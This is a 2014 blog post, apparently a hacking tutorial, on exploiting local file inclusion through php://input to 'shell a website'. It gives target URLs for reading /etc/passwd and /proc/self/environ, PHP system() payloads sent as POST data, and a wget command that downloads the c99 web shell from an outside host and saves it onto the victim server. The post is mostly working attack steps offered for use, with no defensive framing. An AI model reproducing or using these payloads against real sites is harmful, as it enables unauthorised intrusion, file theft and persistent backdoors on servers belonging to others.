Thursday, 13 March 2014

Labels:

LFI EXPLOITATION VIA PHP://input

Posted by Surgical Strike at 10:37





                                    Hey guys,

Today I'll be explaining how to shell a website using "php://input" method via LFI.


So let's get started.
Now let's have our target shall we. As an example, your target URL should look like this:

Code:
http://www.site.com/index.php?page=
You can have anything similar to that as long as you can be able to read files and obtain an "include" error.


First things first, give it a shot and see if you can read "/etc/passwd"


URL will look like:
Code:
http://www.site.com/index.php?page=/etc/passwd

If successful, you'll be having a page that looks like this:

                      


Now lets try reading:
Code:

/proc/self/environ



/proc/self/fd

So URL will become:
Code:

http://www.site.com/index.php?page=/proc/self/environ



http://www.site.com/index.php?page=/proc/self/fd

Hmm, seems like nothing is being displayed, even though I've added a null-byte at the end of the URL.

                      


Well, not to worry, it's time to use our back up method. The "php://input" method will help us read files with certain commands, hence enables us to upload a shell.
This can be done using the "Hackbar" or by using "Live HTTP headers"



I'll show you how to exploit via php://input using the "Hackbar"


So lets check what we're supposed to use in the Hackbar

                     


Now let's try putting this method in action.
Look at the picture carefully.


                     


URL will be:
Code:
http://www.site.com/index.php?page=php://input

and POST DATA:
Code:
<? system('uname -a'); ?>

Other commands
List directories

Code:
 <? system('ls'); ?>

Identification
Code:
<? system('id'); ?>

Convert format
Code:
<? system('mv file.txt file.php'); ?>

Alright, let's spawn a shell there now shall we.


Grab a shell from sh3ll.org or anywhere else.
For now, we'll be using the normal c99 shell

Code:
http://www.sh3ll.org/c99.txt?


Let's use the "wget" command to spawn our shell on the site.


So our POST DATA will be:
Code:
<? system('wget http://www.sh3ll.org/c99.txt -O nameofshell.php');?>

This is how it's gonna look like.

                    


Now that you've spawn a shell, you can now navigate to your shell on the site.
Code:
http://www.site.com/shell.php

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